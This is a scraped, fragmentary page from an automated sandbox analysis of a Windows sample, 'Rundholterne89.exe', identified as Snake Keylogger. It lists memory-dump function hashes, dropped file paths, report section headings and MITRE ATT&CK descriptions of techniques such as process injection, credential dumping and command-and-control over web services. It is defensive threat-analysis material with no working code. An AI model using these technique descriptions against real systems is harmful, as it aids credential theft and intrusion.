Instruction Fuzzy Hash: 1E019E35A00218EFCF58EF65C884AAE7BB5FF59310B11412AFC19D3241D7385D52CBA2

Function 25DF3258 Relevance: .0, Instructions: 46COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2629059197.0000000025DF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 25DF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_25df0000_msiexec.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 444d2a1351399fb0408d72b2ca2d9ff66a9c5cb9208d5cc249392022d470ef91
Instruction ID: 850344c84e21e85f923f7d043b0806fb6316ef306f2d4f980051ba9773e1fb3e
Opcode Fuzzy Hash: 444d2a1351399fb0408d72b2ca2d9ff66a9c5cb9208d5cc249392022d470ef91
Instruction Fuzzy Hash: 60015E35B102099FCB58AF78C858AAE7BB5FF98310B414539ED1AD3340DB389D51DBA1

Function 25DF44CF Relevance: .0, Instructions: 39COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2629059197.0000000025DF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 25DF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_25df0000_msiexec.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8055730cbd0e68386ae89874f4910e44436cef53837b19376cf371a66a02092f
Instruction ID: 9fedaa73a828b3bdb3e9c1ef2f571116a84c3865e478d4477543e3a41514002c
Opcode Fuzzy Hash: 8055730cbd0e68386ae89874f4910e44436cef53837b19376cf371a66a02092f
Instruction Fuzzy Hash: 0DF028719047089F8711DFE9D84199FBBF9FF48350B10856AD504D7211E771AA21CBD2

Function 25DF4990 Relevance: .0, Instructions: 33COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2629059197.0000000025DF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 25DF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_25df0000_msiexec.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 36d07d1a1568364bc9c2deadf3cad169507a92b7a37aee2d00166ffd0f9bbf24
Instruction ID: b34204c6a5c7a4b679cb341ddcd9c4e06eb73824ae9501cf6a6df43bfff7681f
Opcode Fuzzy Hash: 36d07d1a1568364bc9c2deadf3cad169507a92b7a37aee2d00166ffd0f9bbf24
Instruction Fuzzy Hash: 96F05835301205DFC704DF6AD888D5ABBEAFF88724B618169EA098B331CB71ED51CB90

Function 25DF4A40 Relevance: .0, Instructions: 17COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2629059197.0000000025DF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 25DF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_25df0000_msiexec.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ceb984f9dfa27bb2f9a3414bc026ba8325c017222714486a27c2c9fb3e127ee6
Instruction ID: 6776a998f2b1ccd4a6b4659bbb73c3b5d2cc5ddb33937e7c9738eb98237c87bd
Opcode Fuzzy Hash: ceb984f9dfa27bb2f9a3414bc026ba8325c017222714486a27c2c9fb3e127ee6
Instruction Fuzzy Hash: 1CD0C7363141146B4B0D2A4994088BE7B5ED7DD7757148027FD0983300CE764D1297F5

Non-executed Functions

Function 0031F2C0 Relevance: 1.4, Strings: 1, Instructions: 147COMMON

Download Yara Rule

Strings

Tr"# !#, xrefs: 0031F32C, 0031F35B, 0031F3FD, 0031F438

Memory Dump Source

Source File: 00000006.00000002.2603409994.0000000000310000.00000040.00000800.00020000.00000000.sdmp, Offset: 00310000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_310000_msiexec.jbxd

Similarity

API ID:
String ID: Tr"# !#
API String ID: 0-3040583665
Opcode ID: 2a2c32a761562304e7a09da1a7f44a35f04edc1f3af87bf72694b8cc62975efd
Instruction ID: 687d80e5869c48482e78ae8aa8dfafeb6e9eaaf4e35f3fcd709e282e107cc179
Opcode Fuzzy Hash: 2a2c32a761562304e7a09da1a7f44a35f04edc1f3af87bf72694b8cc62975efd
Instruction Fuzzy Hash: 56512474D00208CFDB09DFA9C5997EEBBB2FF89300F248529D405BB295DB759881CB64

Function 0031F4AC Relevance: 1.4, Strings: 1, Instructions: 146COMMON

Download Yara Rule

Strings

Tr"# !#, xrefs: 0031F32C, 0031F35B, 0031F3FD, 0031F438

Memory Dump Source

Source File: 00000006.00000002.2603409994.0000000000310000.00000040.00000800.00020000.00000000.sdmp, Offset: 00310000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_310000_msiexec.jbxd

Similarity

API ID:
String ID: Tr"# !#
API String ID: 0-3040583665
Opcode ID: 99184716f23f09e7a798626b80e4fb78f3096f741b98f804fad20197802d344e
Instruction ID: 8b1c16f33c2420b42891508c96a890bf0d4ea945e5dfbaad5a5c60319c6f3d0a
Opcode Fuzzy Hash: 99184716f23f09e7a798626b80e4fb78f3096f741b98f804fad20197802d344e
Instruction Fuzzy Hash: 5951E274D00218CFDB0ADFA9C5857EEBBB6FB4D300F208529E419AB295DB759881CB54

Function 25DF0040 Relevance: .6, Instructions: 596COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2629059197.0000000025DF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 25DF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_25df0000_msiexec.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8fa26e179f55b9545a8e30ed8e963e29c8f76a24821a7ba66a8e9446d3cc5e3b
Instruction ID: f2bec256c07d13df6049512af95e80d5abd50181d9504f01db8ff6b3366b9f84
Opcode Fuzzy Hash: 8fa26e179f55b9545a8e30ed8e963e29c8f76a24821a7ba66a8e9446d3cc5e3b
Instruction Fuzzy Hash: 4B527D74E01228CFDB68DF69C984B9DBBB2BB89300F5085E9D409AB355DB359E81CF50

Function 25DFD9A8 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2629059197.0000000025DF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 25DF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_25df0000_msiexec.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9ffd44874a8819dd5570b5a49a7534d9a055bf58956a8fef46f94262dde692b4
Instruction ID: af3fdda98d73cfb6f1bf8e047dbcc1689586ad2f9b19c2c38cd5324f68fa528e
Opcode Fuzzy Hash: 9ffd44874a8819dd5570b5a49a7534d9a055bf58956a8fef46f94262dde692b4
Instruction Fuzzy Hash: B0C17074E01218CFDB15DFA9C994B9DBBB2FB89300F2081A9D809AB365DB355A85CF50

Function 25DFD550 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2629059197.0000000025DF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 25DF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_25df0000_msiexec.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bba80410eda4beddcbd28002b8e23d8a4f60b95e47a2b7e8f8ca8edb704afa31
Instruction ID: 61c06451a0a23b0234dcb9b3569ab31bf52a62f1b3c94f63823c4413d6091c44
Opcode Fuzzy Hash: bba80410eda4beddcbd28002b8e23d8a4f60b95e47a2b7e8f8ca8edb704afa31
Instruction Fuzzy Hash: 50C17F74E01218CFEB14DFA9C994B9DBBB2FB89300F2081A9D409AB365DB355E85CF50

Function 25DFD0F8 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2629059197.0000000025DF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 25DF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_25df0000_msiexec.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b1af8a57c9999837d0d5a8eb267b9aec65589efcd2737900ccd6e5f56ebdfad6
Instruction ID: 42dbbc7e1922af464b013130b702b3c171a111bb47a9f723a4bec09204ae1693
Opcode Fuzzy Hash: b1af8a57c9999837d0d5a8eb267b9aec65589efcd2737900ccd6e5f56ebdfad6
Instruction Fuzzy Hash: 8BC16074E01218CFDB15DFA9C994B9DBBB2FB89300F2081A9D409AB365DB356A85CF50

Function 25DFCCA0 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2629059197.0000000025DF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 25DF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_25df0000_msiexec.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4ed49cdb5b1181302166292a0817ae685ebfe53212af4e7df80728ee2d3db97e
Instruction ID: 06a59e6450c119a5c2fb316dca5a7e6bb8ea044ba7aabbe9cc61bbe0c781a552
Opcode Fuzzy Hash: 4ed49cdb5b1181302166292a0817ae685ebfe53212af4e7df80728ee2d3db97e
Instruction Fuzzy Hash: CAC18074E00218CFEB14DFA9C994B9DBBB2FB89300F2081A9D409AB365DB355A85CF50

Function 25DFF810 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2629059197.0000000025DF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 25DF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_25df0000_msiexec.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 061a2ae7e2e71def10cd648c8be34ca05501579db6f3756494b844a9a82ab3c1
Instruction ID: b87944593ff6717c9a42d634abde5d26b152808edabb84db1781422a8a6e64ae
Opcode Fuzzy Hash: 061a2ae7e2e71def10cd648c8be34ca05501579db6f3756494b844a9a82ab3c1
Instruction Fuzzy Hash: 55C17074E00218CFDB14DFA9C994B9DBBB2FB89300F2481A9D809AB365DB355A85CF50

Function 25DFF3B8 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2629059197.0000000025DF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 25DF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_25df0000_msiexec.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6f063b751980e851e76989a75c1736e118f245854cfef6ba9faa104ed0a93ccc
Instruction ID: 39edd68ce3902133c37f5139ae312de2c5609778ee5b6fb77a1c395db593a3d4
Opcode Fuzzy Hash: 6f063b751980e851e76989a75c1736e118f245854cfef6ba9faa104ed0a93ccc
Instruction Fuzzy Hash: C3C16F74E01218CFEB15DFA9C994B9DBBB2FB89300F2081A9D409AB365DB355A85CF50

Function 25DFEF60 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2629059197.0000000025DF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 25DF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_25df0000_msiexec.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a508e46e391b864875da82da748022114b75784a15b006e5e72f2c2c8ff758b7
Instruction ID: dc078bacc0eec6b00eba9118708bf5b4dde11743fb94614ec06ffa804b5a1f78
Opcode Fuzzy Hash: a508e46e391b864875da82da748022114b75784a15b006e5e72f2c2c8ff758b7
Instruction Fuzzy Hash: 52C17074E01218CFEB14DFA9C994B9DBBB2FB89300F2481A9D409AB365DB355A85CF50

Function 25DFEB08 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2629059197.0000000025DF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 25DF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_25df0000_msiexec.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5fafbf28c4e3da1a4756446021e313cecedab8113b5bb78d3535d5879850b322
Instruction ID: acb1d4a502799a68e0626d7ad63baa857666f8dcddc03b3fd3b61b764d898c7d
Opcode Fuzzy Hash: 5fafbf28c4e3da1a4756446021e313cecedab8113b5bb78d3535d5879850b322
Instruction Fuzzy Hash: 7CC17074E00218CFEB55DFA9C994B9DBBB2FF89300F1081A9D809AB365DB355A85CF50

Function 25DFE6B0 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2629059197.0000000025DF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 25DF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_25df0000_msiexec.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2c5ef358a9f502320cd7a9df4a1c40820681f05c7206e49d16ea5ca58c9a78a2
Instruction ID: 0b8cd11cd3f360ee4c4756af16a05eee544b9e5c231f5737c68535669aa344ba
Opcode Fuzzy Hash: 2c5ef358a9f502320cd7a9df4a1c40820681f05c7206e49d16ea5ca58c9a78a2
Instruction Fuzzy Hash: 25C18F74E00218CFEB54DFA9C994B9DBBB2FB89300F2081A9D409AB365DB355E85CF50

Function 25DFE258 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2629059197.0000000025DF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 25DF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_25df0000_msiexec.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 98c11bf4bf33c432870dc3aa5bbea24bea055c39515b6e02b3f1de8d7a4c2d50
Instruction ID: 51dc997cf09c1c717c183581136b891aca80c7e8fc3ac760fc3fcc3875271a77
Opcode Fuzzy Hash: 98c11bf4bf33c432870dc3aa5bbea24bea055c39515b6e02b3f1de8d7a4c2d50
Instruction Fuzzy Hash: B1C17074E00218CFEB54DFA9C994B9DBBB2FB89300F2081A9D409AB365DB355A85CF50

Function 25DFDE00 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2629059197.0000000025DF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 25DF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_25df0000_msiexec.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b08a06ee1a2de6bc1e5f907b59a38e03e1d25b549a0585e4c75f20fd9dbb4442
Instruction ID: 7fff754756fb28fad7a0b3f2fa0edae73528936e8d4f09bb0e977f843b138807
Opcode Fuzzy Hash: b08a06ee1a2de6bc1e5f907b59a38e03e1d25b549a0585e4c75f20fd9dbb4442
Instruction Fuzzy Hash: 4DC18074E01218CFEB54DFA9C994B9DBBB2FB89300F2081A9D409AB365DB355E85CF50

Function 0031F974 Relevance: .3, Instructions: 265COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2603409994.0000000000310000.00000040.00000800.00020000.00000000.sdmp, Offset: 00310000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_310000_msiexec.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 860a12946b2d2c288638fb530fd8110d6e347b13af7c883877f1d9f8fdfdec5a
Instruction ID: f817cfb25128bfab1b935a96641373c240790945cd7794993164e4af766ed703
Opcode Fuzzy Hash: 860a12946b2d2c288638fb530fd8110d6e347b13af7c883877f1d9f8fdfdec5a
Instruction Fuzzy Hash: 6AC17074E00218CFDB19DFA9C994B9DBBB2FF89300F1481A9D409AB365DB355A85CF50

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an existing, legitimate external Web service as a means for relaying data to/from a compromised system. Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report Rundholterne89.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Snake Keylogger

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Location Tracking

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_k2m4ibxf.4lq.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_rffvel3l.nur.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_rmdalg0o.rwe.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_u3dfwlvy.5b5.psm1

C:\Users\user\AppData\Roaming\underarmsmusklens\Edriophthalmian\Levitator\Exungulate.Spe205

C:\Users\user\AppData\Roaming\underarmsmusklens\Edriophthalmian\Levitator\Lrerkrfter\Rundholterne89.exe

C:\Users\user\AppData\Roaming\underarmsmusklens\Edriophthalmian\Levitator\Lrerkrfter\Rundholterne89.exe:Zone.Identifier

C:\Users\user\AppData\Roaming\underarmsmusklens\Edriophthalmian\Levitator\Lrerkrfter\aktivitetsrunde.txt

C:\Users\user\AppData\Roaming\underarmsmusklens\Edriophthalmian\Levitator\Lrerkrfter\discourteously.gam

C:\Users\user\AppData\Roaming\underarmsmusklens\Edriophthalmian\Levitator\Lrerkrfter\psychograph.rut

C:\Users\user\AppData\Roaming\underarmsmusklens\Edriophthalmian\Levitator\Lrerkrfter\strudsfjerenes.uns

C:\Users\user\AppData\Roaming\underarmsmusklens\Edriophthalmian\Levitator\Lrerkrfter\unnamed.jpg

Windows Analysis Report
Rundholterne89.exe

Function 0040310F Relevance: 93.1, APIs: 33, Strings: 20, Instructions: 357
stringcomfileCOMMON

Function 004048C5 Relevance: 63.5, APIs: 33, Strings: 3, Instructions: 481
windowmemoryCOMMON

Function 00405D51 Relevance: 19.4, APIs: 8, Strings: 3, Instructions: 199
stringCOMMON

Function 004055D1 Relevance: 17.7, APIs: 7, Strings: 3, Instructions: 159
filestringCOMMON

Function 00403A41 Relevance: 58.1, APIs: 32, Strings: 1, Instructions: 345
windowstringCOMMON

Function 004036AF Relevance: 45.7, APIs: 13, Strings: 13, Instructions: 215
stringregistryCOMMON

Function 00402C66 Relevance: 24.7, APIs: 5, Strings: 9, Instructions: 182
COMMON

Function 00402E9F Relevance: 14.2, APIs: 4, Strings: 4, Instructions: 166
COMMON

Function 00401751 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 147
stringtimeCOMMON

Function 0040540E Relevance: 14.0, APIs: 4, Strings: 4, Instructions: 39
COMMON

Function 0040605A Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 36
libraryCOMMON

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

